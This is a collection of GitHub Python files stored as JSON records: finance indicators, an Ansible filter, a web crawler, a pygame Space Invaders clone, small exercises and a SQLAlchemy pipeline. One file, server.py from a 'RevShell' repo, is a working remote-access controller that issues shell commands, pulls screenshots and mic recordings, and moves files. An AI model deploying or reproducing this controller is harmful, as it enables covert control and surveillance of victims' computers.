Z*vol_risky*np.sqrt(T) + mu_risky*T - mu_safe*T\n    return numerator/denominator\n\ndef cal_turbulence(ret_data):\n    \"\"\"\n    일별 수익률로부터 turbulence 지수 계산.\n    :param ret_data: daily return data, pd.DataFrame\n    :return:\n    \"\"\"\n\n    # 월별 수익률 계산\n    ret_monthly = ret_data.groupby([ret_data.index.year.rename(\"year\"), ret_data.index.month.rename(\"month\")])\n    ret_monthly = ret_monthly.apply(lambda x: ((1+x).cumprod()-1)).resample(\"BM\").last()\n\n    cov_matrix = ret_monthly.cov()\n    inverse_cov = np.linalg.inv(cov_matrix)\n    mean = ret_monthly.mean()\n    N = len(ret_monthly.columns)\n    f = lambda x: (1/N) * (x-mean).T@inverse_cov@(x-mean)\n    result = ret_monthly.apply(f, axis=1)\n    return result\n\n\ndef cal_turbulence_rolling(ret_data, window=500):\n    \"\"\"\n\n    :param ret_data:\n    :param window:\n    :return:\n    \"\"\"\n    nassets = len(ret_data.columns)\n    rolling_ret = ret_data.rolling(window=window)\n    rolling_mean = rolling_ret.mean()\n    rolling_cov = rolling_ret.cov().dropna().unstack()\n\n    date_index = rolling_cov.index\n\n    tb_index = pd.DataFrame()\n    idx_num = 1\n    for i in date_index[:-1]:\n        cov = rolling_cov.loc[i].unstack()\n        mean = rolling_mean.loc[i]\n        invcov = np.linalg.inv(cov)\n\n        ret = ret_data.loc[date_index[idx_num]]\n        tb = (1/nassets) * (ret-mean)@invcov@(ret-mean)\n        tb_index.loc[i, \"turbulence\"] = tb\n        idx_num += 1\n    return tb_index\n\ndef cal_absorption_ratio_rolling(ret_data, frac=0.2, decay=0.9972, window=500):\n    \"\"\"\n    흡수비율을 계산한다. EWMA 방식을 적용한다.\n    수익률 데이터를 decay factor로 지수이동평균 평활화(Exponential Weighted Moving Average)를 거친뒤 공분산 행렬를 계산한다.\n    이후 rolling window에 따라 absorption ratio를 계산한다.\n    t 일의 AR 값은 t-500 부터 t-1 시점의 데이터를 이용하여 계산한다. t일의 종가는 확인할 수 없기 때문이다.\n    :param ret_data: 수익률 데이터, pandas.DataFrame\n    :param frac: 고려할 고윳값의 비율, 0<frac<=1, float\n    :param decay: EWM 계산상의 감소비율, 0<decay<=1, float\n    :param window: 이동기간\n    :return:\n    \"\"\"\n    N = len(ret_data.columns)\n    n = int(round(N * frac))\n\n    ewm_cov = ret_data.ewm(alpha=decay).mean().rolling(window=window).cov().dropna().unstack()\n    date_index = ewm_cov.index\n\n    result = pd.DataFrame()\n    idx_num = 1\n    for i in date_index[:-1]:\n        cov = ewm_cov.loc[i].unstack()\n        eig_val, eig_vec = np.linalg.eig(cov)\n\n        selected = eig_vec[:, np.argsort(-eig_val)[:n]]\n\n        sum_of_selected = selected.var(axis=0).sum()\n        sum_of_total = np.diag(cov).sum()\n\n        ar = sum_of_selected / sum_of_total\n        result.loc[date_index[idx_num], \"absorption ratio\"] = ar\n        idx_num += 1\n    return result\n\n\n","repo_name":"2ky1234/Asset-Management-Considering-Financial-Regime-Change","sub_path":"Regime_TDF_utils.py","file_name":"Regime_TDF_utils.py","file_ext":"py","file_size_in_byte":4911,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"47789685148","text":"#\n# Simple list append filter\n#\nfrom __future__ import (absolute_import, division, print_function)\n__metaclass__ = type\n\nfrom jinja2 import TemplateError\n\nclass FilterModule(object):\n\n\n#\n# Append a number of items to the list\n#\n  def list_append(self,l,*argv):\n    if type(l) is not list:\n      raise TemplateError(\"First argument of append filter must be a list\")\n\n    for element in argv:\n      if type(element) is list:\n        l.extend(element)\n      else:\n        l.append(element)\n    return l\n\n  def dict_to_list(self,o):\n    if type(o) is not dict:\n      raise TemplateError(\"dict_to_list can only be used on dictionaries\")\n\n    l = []\n    for k,v in o.items():\n      v['id'] = k\n      l.append(v)\n\n    return l\n\n  def filters(self):\n    return {\n      'append': self.list_append,\n      'to_list': self.dict_to_list\n    }","repo_name":"ipspace/NetOpsWorkshop","sub_path":"Ansible/NetFilters/filter_plugins/list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":191,"dataset":"github-code","pt":"3"}
+{"seq_id":"7800204332","text":"import asyncio\nimport time\nimport logging\n\nfrom lxml import etree\nfrom tornado import httpclient, queues\n\n\nlogging.basicConfig(level=logging.INFO, format=\"%(asctime)s %(levelname)-8s: %(message)s\")\n\n\nbase_url = \"https://movie.douban.com/top250\"\n\nq = None\n\n\n\nasync def crawl():\n    \"\"\"\n    根据url，获取页面内容\n    根据页面内容，获取url\n    :param url:\n    :return: html: HTML\n    \"\"\"\n\n    async for url in q:  # 获取新的目标\n        if url is None:\n            return  # 干掉自己\n        html = ''\n        try:\n            print(f\"正在抓取新的{url}\")\n            response = await httpclient.AsyncHTTPClient().fetch(url)\n            html = response.body.decode()  # 字符串\n            logging.info(f\"type(html)   {type(html)}\")\n            logging.info(f\" html is {html}\")\n\n\n        except Exception as e:\n            print(f\"访问出错, {e}\")\n            raise e\n            return\n\n        # return html\n\n        HTML = etree.HTML(html)\n        a_list = HTML.xpath('/html/body/div[3]/div[1]/div/div[1]/div[2]/a')\n\n        for a in a_list:\n            url = a.attrib['href']\n            url = base_url + url  # 新的目标\n            if url not in urls:  # 这个目标是否已经存在\n                urls.add(url)  # 如果不存在，放入集合\n                await q.put(url)  # 把新目标放入 队列\n                print(url)  # 打印目标\n            # await asyncio.gather(crawl())\n\n        q.task_done()  # 告诉队列，这个任务处理完成\n\n\nasync def main():\n    global q, urls\n    q = queues.Queue()  # 异步队列，建议在协程中创建\n    urls = set()\n\n    await q.put(base_url)  # 讲起始url 放入队列\n    print(11)\n    task_list = [asyncio.create_task(crawl()) for i in range(20)]\n\n    print(22)\n    await q.join()\n\n    for _ in task_list:\n        await q.put(None)\n\n\nif __name__ == '__main__':\n    time1 = time.time()\n\n    asyncio.run(main())\n\n    time2 = time.time()\n\n    print(f\"一共花费了 {time2 - time1} 秒\")\n","repo_name":"shinevalora/asyncio_tornado_queues_requests","sub_path":"fetch.py","file_name":"fetch.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12118531431","text":"score = int(input(\"input the score:\"))\ngrade = \"\"\n\nif score > 100 or score < 0:\n    print(\"input again\")\nelse:\n    if score >= 90:\n        grade = \"A\"\n    elif score >= 80:\n        grade = \"B\"\n    elif score >= 70:\n        grade = \"C\"\n    elif score >= 60:\n        grade = \"D\"\n    else:\n        grade = \"E\"\n    print(\"score is {0}, level is {1}\".format(score, grade))\n","repo_name":"Hu-Ivy/Baishi-Homework","sub_path":"Day_3/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"27666298346","text":"# -*- coding: utf-8 -*-\n\"\"\"\n__author__ = \"Ashiquzzaman Khan\"\n__desc__ = \"Main Exe file to Run\"\n\"\"\"\n\nimport sys\nimport os\nimport platform\nimport re\n\nclass LocalStorage(object):\n\n    def __init__(self, debug=True):\n        self.debug = debug\n        if self.debug:\n            self.current_dir = os.getcwd()\n            self.one_up = os.path.normpath(os.getcwd() + os.sep + os.pardir)\n            self.root = \"C:\\\\Users\\\\Ana Ash\\\\Desktop\\\\Project Software\\\\KivyPy\\\\Vault\"\n            self.storage = \"C:\\\\Users\\\\Ana Ash\\\\Desktop\\\\Project Software\\\\KivyPy\\\\Vault\\\\localDump\\\\\"\n        else:\n            self.user_home = os.path.expanduser('~')\n            self.desktop = self.user_home + \"\\\\Desktop\\\\\"\n            self.cacheDir = os.getenv(\"LOCALAPPDATA\") + \"\\\\PandorAstrum\\\\\"\n            self.image_dir = self.cacheDir + \"\\\\Images\\\\\"\n            self.database_dir = self.cacheDir\n\n    def make_dir(self, dir_path):\n        if not os.path.exists(dir_path):\n            os.makedirs(dir_path)\n\n    def check_directory(self, dir_path):\n        return os.path.isdir(dir_path)\n\n    def check_file(self, path, filename):\n        os.path.isfile(path+filename)\n\n    def get_current_dir(self, file=None):\n        if not hasattr(self.get_current_dir, \"dir\"):\n            if hasattr(sys, \"frozen\"):\n                dir = os.path.dirname(sys.executable)\n            elif \"__file__\" in globals():\n                dir = os.path.dirname(os.path.realpath(__file__))\n            else:\n                dir = os.getcwd()\n            self.get_current_dir().dir = dir\n        # If file is None return current directory without trailing slash.\n        if file is None:\n            file = \"\"\n        # Only when relative path.\n        if not file.startswith(\"/\") and not file.startswith(\"\\\\\") and (\n                not re.search(r\"^[\\w-]+:\", file)):\n            path = self.get_current_dir().dir + os.sep + file\n            if platform.system() == \"Windows\":\n                path = re.sub(r\"[/\\\\]+\", re.escape(os.sep), path)\n            path = re.sub(r\"[/\\\\]+$\", \"\", path)\n            return path\n        return str(file)\n\n","repo_name":"ash1khan/Vault_Software_Py","sub_path":"bin/libPackage/localStorage.py","file_name":"localStorage.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8991608182","text":"# Author: RT\n# Date: 2023-01-07T14:28:12.972Z\n# URL: https://leetcode.com/problems/gas-station/\n\n\nclass Solution:\n    def canCompleteCircuit(self, gas: list[int], cost: list[int]) -> int:\n        n = len(gas)\n\n        total_gas = tank = total_cost = 0\n        starting = 0\n\n        for i in range(n):\n            if tank < 0:\n                starting = i\n                tank = 0\n            total_cost += cost[i]\n            total_gas += gas[i]\n            tank += gas[i] - cost[i]\n\n        return -1 if total_gas < total_cost else starting\n","repo_name":"Roytangrb/dsa","sub_path":"leetcode/python/134-gas-station.py","file_name":"134-gas-station.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"}
+{"seq_id":"35437242972","text":"import os\nimport socket\nimport sys\nimport time\nimport string\nimport random\nimport colorama\n\ncolorama.init()\ndef id_gen(size=7, chars=string.ascii_uppercase + string.digits):\n    return ''.join(random.choice(chars) for c in range(size))\n\nhost = \"\"\nport = 1234 #CHANGE THIS\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind((host, port))\ns.listen(1)\nprint(\"Server is listening...\")\nconn, address = s.accept()\nprint(\"\\nClient successfully connected with\",address)\n\nwhile True:\n    data = conn.recv(2048)\n    datad = data.decode(\"utf-8\")\n    print(datad, end = \"\")\n\n    if datad.strip() == \"[*] Sending...\":\n        file = \"image-\"+id_gen()+\".png\"\n        f = open(file, \"wb\")\n        i = conn.recv(1024)\n        while not (\"complete\") in str(i):\n            f.write(i)\n            i = conn.recv(1024)\n        f.close()\n        print(\"\\n[+] Image saved\\n[*] Press ENTER to continue\", end = \"\")\n\n    if datad.strip() == \"[+] Audio saved\":\n        file = \"audio-\"+id_gen()+\".wav\"\n        f = open(file, \"wb\")\n        i = conn.recv(1024)\n        while not (\"complete\") in str(i):\n            f.write(i)\n            i = conn.recv(1024)\n        f.close()\n        print(\"\\n[*] Press ENTER to continue\", end = \"\")\n\n    clientsend = input(\"\")\n    conn.send(clientsend.encode())\n    if clientsend.strip() == \"exit\":\n        conn.close()\n        sys.exit()\n    if clientsend.strip() == str(\"\"):\n        conn.send(\" \".encode())\n    if clientsend.strip() == \"rec_mic\":\n        sound = input(\"[*] Enter the duration in seconds: \")\n        conn.send(sound.encode())\n    if clientsend.strip() == \"download\":\n        filename = input('[*] Enter the name of file with extension: ')\n        conn.send(filename.encode()) \n        d = conn.recv(1024)\n        dd = d.decode('utf-8')\n        if dd[:6] == 'EXISTS':\n            filesize = int(d[6:])\n            conn.send(str.encode('OK'))\n            print(\"[*] Downloading...\")\n            f = open('new-' + filename, 'wb')\n            d = conn.recv(1024)\n            totalRecv = len(d)\n            f.write(d)\n            while totalRecv < filesize:\n                d = conn.recv(1024)\n                totalRecv += len(d)\n                f.write(d)\n            f.close()\n            print(\"[+] Download complete\")\n        else:\n            print(\"[x] File not found\\n[*] Press ENTER to continue\", end = \"\")\n            input(\"\")\n\n    if clientsend.strip() == \"upload\":\n        filename = input('[*] Enter the name of file with extension: ')\n        conn.send(filename.encode())\n        if os.path.isfile(filename):\n            conn.send(str.encode('EXISTS' + str(os.path.getsize(filename))))\n            userResp = conn.recv(1024)\n            userRespd = userResp.decode('utf-8')\n            print(\"[*] Uploading...\")\n            if userRespd[:2] == 'OK':\n                f =  open(filename, 'rb')\n                i = f.read(1024)\n                time.sleep(1)\n                while (i):\n                    conn.send(i)\n                    i = f.read(1024)\n                f.close()\n            print(\"[+] Download complete\")\n        else:\n            print(\"[x] File not found\")\n            conn.send(\"continue\".encode())\ncolorama.deinit()\n    \n","repo_name":"ittech25/RevShell","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72200409362","text":"def game():\n    name = input(\"Enter your name: \")\n    import random\n    number = random.randint(1, 99)\n    guess = int(input(\"Enter your guess between 1 to 99: \"))\n\n\n    while number != guess:\n        if number > guess:\n            print(\"Number is bigger\")\n        else:\n            print(\"Number is smaller\")\n        guess = int(input(\"Enter your guess between 1 to 99: \"))\n        print(f\"Yayyyyy {name}, you have won the game\")\n\n\n    request = input(\"Would you like to play again: y,n: \")\n    if request == \"n\":\n        print(\"Thanks for playing!\")\n    else:\n        game()\ngame()\n","repo_name":"hamedhossaini/sample","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12905969662","text":"from typing import List, Any\n\nimport pygame\nfrom pygame import *\nimport math\nimport random\n\nglobal black\nblack = (0, 0, 0)\nglobal white\nwhite = (255, 255, 255)\n\n\nclass Display:\n    def __init__(self, len, val, xp, yp, scr):\n        self.nums = []\n        self.l = len\n        self.v = val\n        self.x = xp\n        self.y = yp\n        self.val = 0\n        self.s = scr\n        for i in range(len):\n            self.nums.append(SevenSeg(0, self.x + 30 * i, self.y, self.s))\n\n    def updateVal(self, val):\n        self.v = val;\n        temp = val;\n        for i in range(len(self.nums) - 1, -1, -1):\n            self.nums[i].setVal(temp % 10)\n            temp = (int)(temp / 10)\n\n    def draw(self):\n        for i in self.nums:\n            i.draw()\n\n\nclass Fleet:\n    j: list[list[Any]]\n\n    def __init__(self, xp, yp, scr):\n        self.j = [[], [], [], [], [], [], [], [], []]\n        self.x = xp\n        self.y = yp\n        self.s = scr\n        self.row = 8\n        self.column = 4\n        self.dir = 20\n        self.shot = Bullet(800, 800, self.s, False)\n        self.shooting = False\n        for i in range(9):\n            for j in range(5):\n                self.j[i].append(Alien((self.x + i * 50), (self.y + j * 40), i, j))\n\n    def draw(self):\n        for i in self.j:\n            for k in i:\n                if k.isAlive():\n                    k.draw(self.s)\n\n    def getAlien(self, x, y):\n        return self.j[x][y]\n\n    def shoot(self, ship):\n        if self.shooting:\n            return\n        target = ship.getPos()\n        closest = 1000\n        closesti = 1000\n        for i in range(9):\n            if abs(self.j[i][4].getX() - target) < closest:\n                closest = abs(self.j[i][4].getX() - target)\n                closesti = i\n        closesti += random.randint(-1, 1)\n        if closesti > 8:\n            closesti = 8\n        elif closesti < 0:\n            closesti = 0\n        noShips = True\n        lowest = -1\n        for i in range(4, -1, -1):\n            if self.j[closesti][i].isAlive():\n                noShips = False\n                lowest = i\n                break\n        if noShips:\n            return\n        else:\n            self.shot = Bullet(self.j[closesti][lowest].getX() + 12, self.j[closesti][lowest].getY(), self.s, False);\n            self.shooting = True\n\n    def updateShot(self):\n        if self.shooting:\n            self.shot.updateShot()\n            if self.shot.getHeight() > 480:\n                self.shooting = False\n                self.shot.setPos(800, 800)\n\n    def unAliveShip(self, z):\n        x = (int)(z / 5)\n        y = z % 5\n        self.j[x][y].kill()\n\n    def shipsLeft(self):\n        x = 0\n        for i in self.j:\n            for k in i:\n                if k.isAlive():\n                    x += 1\n        return x\n\n    def isAlive(self):\n        alive = False\n        for i in self.j:\n            for k in i:\n                if k.isAlive():\n                    alive = True\n                    break\n            if alive:\n                break\n        return alive\n\n    def move(self):\n        low = False\n        for i in self.j:\n            for k in i:\n                if k.descendCheck() and k.isAlive():\n                    low = True\n                    k.stopLower()\n        if low:\n            self.flip()\n            for i in self.j:\n                for k in i:\n                    k.lower(50)\n        else:\n            for i in self.j:\n                for k in i:\n                    k.move(self.dir)\n\n    def flip(self):\n        self.dir *= -1\n\n    def lower(self):\n        for i in self.j:\n            for k in i:\n                k.lower(50)\n                k.stopLower()\n                if k.isInvaded():\n                    self.invaded = True\n\n    def checkInvaded(self):\n        for i in self.j:\n            for k in i:\n                if k.isInvaded() and k.isAlive():\n                    return True\n        return False\n\n\nclass Alien:\n    def __init__(self, xp, yp, x1, y1):\n        self.x = xp\n        self.y = yp\n        self.xc = x1\n        self.yc = y1\n        self.alive = True\n        self.descend = False\n        self.invaded = False\n\n    def stopLower(self):\n        self.descend = False\n\n    def descendCheck(self):\n        return self.descend\n\n    def draw(self, scr):\n        pygame.draw.rect(scr, white, (self.x, self.y, 25, 25))\n\n    def isAlive(self):\n        return self.alive\n\n    def getXc(self):\n        return self.xc\n\n    def getYc(self):\n        return self.yc\n\n    def getX(self):\n        return self.x\n\n    def getY(self):\n        return self.y\n\n    def kill(self):\n        self.alive = False\n\n    def move(self, dir):\n        self.x += dir\n        if dir > 0:\n            if self.x + 25 >= 625:\n                self.descend = True\n        else:\n            if self.x <= 15:\n                self.descend = True\n\n    def lower(self, dir):\n        self.y += dir\n        if self.y >= 420:\n            self.invaded = True\n\n    def isInvaded(self):\n        return self.invaded\n\n\nclass Bullet:\n    def __init__(self, xp, yp, scr, sh):\n        self.x = xp\n        self.y = yp\n        self.s = scr\n        self.ship = sh\n\n    def draw(self):\n        pygame.draw.rect(self.s, white, (self.x, self.y, 4, 10))\n\n    def setPos(self, xp, yp):\n        self.x = xp\n        self.y = yp\n\n    def alienCollision(self, f):\n        c = -1\n        for i in range(9):\n            for k in range(5):\n                if self.x + 2 < f.j[i][k].getX() + 25 and self.x + 2 > f.j[i][k].getX() and self.y > f.j[i][\n                    k].getY() and self.y < f.j[i][k].getY() + 25 and f.j[i][k].isAlive():\n                    self.setPos(800, 800)\n                    return (i * 5) + k\n        return -1\n\n    def shipCollision(self, ship):\n        if self.x + 2 > ship.getPos() - 20 and self.x + 2 < ship.getPos() + 20 and self.y + 10 > ship.getHeight() and self.y + 10 < ship.getHeight() + 10:\n            self.setPos(800, 800)\n            return True\n        return False\n\n    def updateShot(self):\n        if self.ship:\n            self.y -= 5\n        else:\n            self.y += 3\n\n    def getHeight(self):\n        return self.y\n\n\nclass Ship:\n    def __init__(self, xp, yp, scr):\n        self.lives = 3\n        self.x = xp\n        self.y = yp\n        self.s = scr\n        self.bul = Bullet(800, 800, self.s, True)\n        self.shooting = False\n\n    def move(self, m):\n        if self.x + m > 600:\n            self.x = 600\n        if self.x + m < 40:\n            self.x = 40\n        else:\n            self.x += m\n\n    def draw(self):\n        pygame.draw.rect(self.s, white, (self.x - 20, self.y, 40, 10))\n        pygame.draw.rect(self.s, white, (self.x - 15, self.y - 5, 30, 5))\n        pygame.draw.rect(self.s, white, (self.x - 2, self.y - 10, 4, 10))\n\n    def setPos(self, x1):\n        self.x = x1\n\n    def getPos(self):\n        return self.x\n\n    def getHeight(self):\n        return self.y\n\n    def endShot(self):\n        self.shooting = False\n\n    def shoot(self):\n        if not self.shooting:\n            self.shooting = True\n            self.bul.setPos(self.x - 2, self.y - 5)\n\n    def checkShot(self, f):\n        x = self.bul.alienCollision(f)\n        if x != -1:\n            f.unAliveShip(x)\n            self.shooting = False\n            self.bul.setPos(800, 800)\n            return True\n        return False\n\n    def moveShot(self):\n        if self.shooting:\n            self.bul.updateShot()\n            if self.bul.getHeight() < 0:\n                self.shooting = False\n                self.bul.setPos(800, 800)\n\n\nclass SevenSeg:\n    def __init__(self, v, xPos, yPos, scr):\n        self.data = []\n        v = str(v)\n        self.setVal(v)\n        self.x = xPos\n        self.y = yPos\n        self.s = scr\n\n    def setVal(self, val):\n        val = str(val)\n        if val == '1':\n            self.data = [False, False, True, False, False, True, False]\n        elif val == '2':\n            self.data = [True, False, True, True, True, False, True]\n        elif val == '3':\n            self.data = [True, False, True, True, False, True, True]\n        elif val == '4':\n            self.data = [False, True, True, True, False, True, False]\n        elif val == '5':\n            self.data = [True, True, False, True, False, True, True]\n        elif val == '6':\n            self.data = [True, True, False, True, True, True, True]\n        elif val == '7':\n            self.data = [True, False, True, False, False, True, False]\n        elif val == '8':\n            self.data = [True, True, True, True, True, True, True]\n        elif val == '9':\n            self.data = [True, True, True, True, False, True, True]\n        elif val == '0':\n            self.data = [True, True, True, False, True, True, True]\n\n    def draw(self):\n        if self.data[0]:\n            pygame.draw.rect(self.s, white, (self.x, self.y, 20, 3))\n        if self.data[1]:\n            pygame.draw.rect(self.s, white, (self.x, self.y, 3, 14))\n        if self.data[2]:\n            pygame.draw.rect(self.s, white, (self.x + 17, self.y, 3, 14))\n        if self.data[3]:\n            pygame.draw.rect(self.s, white, (self.x, self.y + 11, 20, 3))\n        if self.data[4]:\n            pygame.draw.rect(self.s, white, (self.x, self.y + 12, 3, 15))\n        if self.data[5]:\n            pygame.draw.rect(self.s, white, (self.x + 17, self.y + 12, 3, 15))\n        if self.data[6]:\n            pygame.draw.rect(self.s, white, (self.x, self.y + 24, 20, 3))\n\n\ndef main():\n    pygame.init()\n    screen = pygame.display.set_mode([640, 480])\n    running = True\n    gameLoop = True\n    clock = pygame.time.Clock()\n    while running:\n        idle = True\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                running = False\n        while idle:\n            for event in pygame.event.get():\n                if event.type == pygame.QUIT:\n                    running = False\n                    idle = False\n                    gameLoop = False\n            screen.fill(black)\n            pygame.draw.rect(screen, white, (0, 40, 640, 5))\n            pygame.display.update()\n            pressed_keys = pygame.key.get_pressed()\n            if pressed_keys[K_RETURN]:\n                idle = False\n        player = Ship(320, 440, screen)\n        level = Fleet(105, 70, screen)\n        stage = 0\n        stageEnd = True\n        score = 0\n        moveClock = 0\n        lives = 3\n        extraLife = 100\n        gameIdle = True\n        global descend\n        descend = False\n        scoreDisplay = Display(4, 0, 5, 5, screen)\n        livesDisplay = Display(1, 3, 600, 5, screen)\n        while gameIdle:\n            if lives == 0:\n                gameLoop = False\n                gameIdle = False\n                running = False\n                idle = False\n            else:\n                gameLoop = True\n            if stageEnd:\n                stage += 1\n                tempY = 20 + 50 * stage\n                if tempY > 220:\n                    tempY = 220\n                level = Fleet(105, tempY, screen)\n                stageEnd = False\n            screen.fill(black)\n            pygame.draw.rect(screen, white, (0, 40, 640, 5))\n            level.draw()\n            scoreDisplay.draw()\n            livesDisplay.updateVal(lives)\n            livesDisplay.draw()\n            pygame.time.delay(3000)\n            while gameLoop:\n                clock.tick(60)\n                for event in pygame.event.get():\n                    if event.type == pygame.QUIT:\n                        running = False\n                        idle = False\n                        gameLoop = False\n                        gameIdle = False\n                screen.fill(black)\n                pygame.draw.rect(screen, white, (0, 40, 640, 5))\n                pressed_keys = pygame.key.get_pressed()\n                if pressed_keys[K_LEFT]:\n                    player.move(-2)\n                if pressed_keys[K_RIGHT]:\n                    player.move(2)\n                if pressed_keys[K_z]:\n                    player.shoot()\n                if random.randint(1, 100) == 42:\n                    level.shoot(player)\n                level.updateShot()\n                player.moveShot()\n                if player.checkShot(level):\n                    score += 1\n                level.shot.draw()\n                player.draw()\n                player.bul.draw()\n                scoreDisplay.draw()\n                livesDisplay.draw()\n                if score >= extraLife:\n                    lives += 1\n                    extraLife += 100\n                if level.shot.shipCollision(player):\n                    gameLoop = False\n                    lives -= 1\n                    livesDisplay.updateVal(lives)\n                    screen.fill(black)\n                    level.draw()\n                    pygame.draw.rect(screen, white, (0, 40, 640, 5))\n                    scoreDisplay.updateVal(score)\n                    scoreDisplay.draw()\n                    livesDisplay.draw()\n                    player.setPos(320)\n                if level.checkInvaded():\n                    lives = 0\n                    gameLoop = False\n                    screen.fill(black)\n                    level.draw()\n                    pygame.draw.rect(screen, white, (0, 40, 640, 5))\n                    scoreDisplay.updateVal(score)\n                    scoreDisplay.draw()\n                    livesDisplay.draw()\n                if level.shipsLeft() > 0:\n                    speed = (int)((10 * math.log2(level.shipsLeft())) + 2)\n                else:\n                    speed = 1\n                    stageEnd = True\n                    score += 5\n                    gameLoop = False\n                    screen.fill(black)\n                if moveClock >= speed:\n                    level.move()\n                    moveClock = 0\n                else:\n                    moveClock += 1\n                level.draw()\n                scoreDisplay.updateVal(score)\n                livesDisplay.updateVal(lives)\n                scoreDisplay.draw()\n                pygame.display.update()\n    if score < 20:\n        print('You lost, waaaaaaah')\n\n\nmain()\npygame.quit()\n","repo_name":"asutton24/square-invaders","sub_path":"squareInvaders.py","file_name":"squareInvaders.py","file_ext":"py","file_size_in_byte":14099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"69814044563","text":"# score = 0\r\n# height = 1.8 \r\n# isw = True\r\n\r\n# print(f\"your score is {score}, your height is {height}, you are winning is {isw}\")\r\n\r\n\r\n# life in week\r\nage = int(input(\"Enter your current age\"))\r\ntyear= 90\r\ntmonth= 90 * 12\r\ntweek = 90 * 52\r\ntday= 90 * 365\r\nryears= tyear - age\r\nrmonths = tmonth - (age*12)\r\nrweek = tweek -(age *52)\r\nrdays = tday - (age * 365)\r\n\r\nprint(f\"You have {rdays} days , {rweek} weeks , {rmonths} months and {ryears} years left\")","repo_name":"Aditya-wani02/Python","sub_path":"u-py/fstring.py","file_name":"fstring.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38493661230","text":"# -*- coding: utf-8 -*-\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column\nfrom sqlalchemy.dialects.mysql.types import INTEGER, DATETIME, VARCHAR, DECIMAL, TEXT, BIGINT\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.engine import reflection\n\n# from configparser import ConfigParser\n# cf = ConfigParser()\n# cf.read(\"config.ini\")\n\n# host = cf.get(\"Mysql-Database\", \"host\")\n# port = cf.get(\"Mysql-Database\", \"port\")\n# users = cf.get(\"Mysql-Database\", \"user\")\n# passwd = cf.get(\"Mysql-Database\", \"passwd\")\n# db = cf.get(\"Mysql-Database\", \"db\")\n# charset = cf.get(\"Mysql-Database\", \"charset\")\n\nhost = '127.0.0.1'\nport = 3306\nusers = 'root'\npasswd = ''\ndb = 'samr'\ncharset = 'utf8mb4'\n\n\ndef process_item(item):\n    datas = dict(item)\n\n    engine = create_engine('mysql+pymysql://%s:%s@%s:%s/%s?charset=%s' % (users, passwd, host, port, db, charset), echo=False)\n    DBSession = sessionmaker(bind=engine)\n    Base = declarative_base()  # 生成ORM基类\n\n    insp = reflection.Inspector.from_engine(engine)\n    colums = insp.get_columns(item['table'])  # 获取表字段信息\n\n    class User(Base):\n        __tablename__ = item['table']  # 表名\n        for i in colums:\n            types = i['type']  # 字段类型\n            cols = i['name']  # 列名\n            if INTEGER == type(types):\n                if i.get('autoincrement') == True:\n                    locals()[cols] = Column(INTEGER(), primary_key=True)\n                else:\n                    locals()[cols] = Column(INTEGER())\n            elif DATETIME == type(types):\n                locals()[cols] = Column(DATETIME())\n            elif VARCHAR == type(types):\n                locals()[cols] = Column(VARCHAR())\n            elif DECIMAL == type(types):\n                locals()[cols] = Column((DECIMAL()))\n            elif TEXT == type(types):\n                locals()[cols] = Column((TEXT()))\n            elif BIGINT == type(types):\n                locals()[cols] = Column((BIGINT()))\n\n    # Base.metadata.create_all(engine)  # 初始化\n    user = User()\n\n    # 插入数据\n    cursor = DBSession()  # session实例\n    for key in datas:\n        setattr(user, key, datas[key])\n\n    cursor.add(user)\n\n    try:\n        cursor.commit()\n    except Exception as err:\n        if 'Duplicate' in str(err):\n            print('唯一键重复异常')\n","repo_name":"z18305238481/smar","sub_path":"samr/util/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
